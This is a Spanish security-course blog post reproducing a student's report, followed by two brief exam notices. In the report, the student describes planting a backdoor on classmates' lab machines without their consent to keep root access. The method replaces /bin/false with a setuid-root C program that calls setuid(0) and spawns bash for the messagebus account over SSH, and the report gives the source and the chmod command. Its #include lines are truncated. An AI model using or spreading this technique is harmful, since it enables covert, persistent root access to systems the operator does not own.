martes, 26 de enero de 2016

Puerta trasera casera (por anónimo)

Adjunto en esta entrada un pequeño "report" enviado por un alumno de esta convocatoria (2015-2016) con la puerta trasera casera que ha utilizado para garantizarse conectividad root a las máquinas de los alumnos más descuidados con sus claves. Ha pedido que lo publique de forma anónima. Lo adjunto literalmente.
------------
Es la segunda semana de prácticas y todavía hay máquinas con la contraseña del
usuario root sin cambiar. Algunas no tienen actividad, pero en otras se puede
ver que hay gente trabajando. De hecho, hay quién ha cambiado la contraseña del
usuario lsi, pero no la del superusuario.

Tarde o temprano, más de lo primero que de lo segundo, acabarán cambiando las
contraseñas y me quedaré sin máquinas extra para hacer las prácticas, así que
quiero encontrar una forma rápida de seguir teniendo acceso como root.
No vale eso de crear un usuario invitado y meterlo en el sudoers. Tiene que ser
algo un poco más sutil, pero sin llegar a extremos de parchear todo el sistema.
En cualquier caso, no quiero que afecte al trabajo de prácticas de los usuarios
de las máquinas.

Necesito un usuario, que no sea root ni lsi, pero no quiero crear uno nuevo,
así que voy a utilizar uno del sistema.

En los sistemas UNIX existe una distinción entre usuarios "normales" y
"usuarios del sistema". Los primeros son para que una persona pueda hacer uso
de la máquina. Los segundos son para tareas del sistema operativo, como
demonios y servicios. En los sistemas Debian los usuarios del sistema tienen
UIDs comprendidos entre el 0 y el 999, mientras que los usuarios normales
tienen UIDs de 1000 en adelante. Esta distinción es puramente organizativa y
cada sistema operativo, distribución o administrador elige los UID como mejor
le parece.

Otro detalle importante sobre los usuarios del sistema es que no tienen un
password válido definido, imposibilitando así la autenticación por contraseña.
Esto no es problema, porque como voy a acceder por SSH, puedo configurar
autenticación con clave pública.

Voy a buscar un usuario del sistema en el fichero /etc/passwd. En este existe
una línea por cada usuario, con siete campos delimitados por ":". Los campos
indican:

1. Nombre de usuario
2. Password cifrado opcional
3. UID
4. GID
5. GECOS
6. Directorio home
7. Intérprete de comandos (Shell)

messagebus es el usuario del servicio D-Bus, que es un sistema para
comunicación entre procesos. Su línea en el fichero /etc/passwd es esta:

messagebus:x:101:111::/var/run/dbus:/bin/false

La configuración de la autenticación con clave pública no debería sorprender a
nadie, pero el intérprete de comandos del usuario tiene un poco más de miga.

La mayoría de los usuarios del sistema tienen definido como intérprete de
comandos /usr/sbin/nologin o /bin/false. nologin es un comando que,
amablemente, indica la no disponibilidad de la cuenta y termina. false no hace
nada, solo termina con un código de estado de error. En ambos casos el usuario
no va a poder iniciar sesión porque esta configuración no se lo va a permitir.

Messagebus tiene /bin/false como intérprete, y no es casualidad, lo elegí de
forma intencionada porque la implementación de este comando es trivial. Así
puedo escribir una versión que me permita arrancar una shell solo cuando lo
ejecute el usuario messagebus. Por ejemplo:

#include

int main()
{
if (getuid() == 101)
execv("/bin/bash", NULL);

return EXIT_FAILURE;
}

Después de sustituir /bin/false con mi versión, podré conectarme a la máquina y
conseguir un terminal con bash con el usuario messagebus. No está mal, pero yo
quiero ser root.

Solo tengo que cambiar dos cosas. Primero, establecer el setuid en el
ejecutable /bin/false, que ya pertenece al usuario root.

chmod u+s /bin/false

Así, /bin/false se ejecutará con las credenciales del propietario del fichero,
root en este caso.

En UNIX cada proceso tiene asociados tres UIDs. UID del usuario real, UID del
usuario efectivo y UID salvado. El UID del usuario real es el del propietario
del proceso. El UID del usuario efectivo lo utiliza el sistema operativo para
determinar que permisos tiene el proceso a la hora de acceder a recursos
compartidos como colas de mensajes o memoria compartida. En la mayoría de
sistemas UNIX también determina los permisos para acceder a ficheros. Nótese
que Linux realiza esta tarea con otro identificador (FSUID). El UID salvado se
utiliza en procesos que tienen el setuid establecido para guardar una copia del
UID efectivo. Así el proceso puede cambiar sus privilegios alternado entre el
UID del usuario real y el UID salvado.

Entonces, teniendo el setuid establecido y siendo root el propietario de
/bin/false debería ser suficiente para que bash se ejecute como root. Pues no,
porque bash va a establecer el usuario efectivo al valor del usuario real si
estos no coinciden. Es una medida de seguridad para evitar exploits.

Para solventar esto, basta utilizar la llamada al sistema setuid. Esta
establece el usuario efectivo del proceso. Un usuario sin privilegios solo
puede establecerlo al UID del usuario real o al UID salvado. Pero cuando el
UID efectivo del proceso es el de root, el 0, setuid cambia los tres UIDs,
real, efectivo y salvado.

#include
#include

int main()
{
if (getuid() == 101) {
setuid(0);
execv("/bin/bash", NULL);
}

return EXIT_FAILURE;
}

Con este cambio, cuando se ejecute bash, el proceso tendrá los 3 UIDs
establecidos a 0, el UID de root.

Resumiendo, al conectarme a la máquina mediante SSH con el usuario messagebus,
se ejecutará /bin/false. Al tener el setuid establecido, y pertenecer al
usuario root, el usuario efectivo del proceso será root y el usuario real será
messagebus. La llamada getuid devuelve el usuario real, de modo que se
llamará a setuid(0), estableciendo los tres UIDS 0. Ahora la llamada
execv("/bin/bash", NULL) ejecutará un bash, y al ser el UID real igual al UID
efectivo, el shell tendrá privilegios de root.

jueves, 21 de enero de 2016

Publicación notas LSI

Se han comunicado las notas de LSI por SMS y publicado. La revisión de exámenes será el martes  26 a las 11:00.


lunes, 11 de enero de 2016

Examen LSI

Ante las múltiples preguntas al respecto.

El examen de mañana constará de 30 preguntas tipo test, con 1 única respuesta correcta de las 4 posibles. Cada 3 mal resta 1 bien. De las 30, 8 son de la parte de legislación y 22 de la parte de seguridad informática.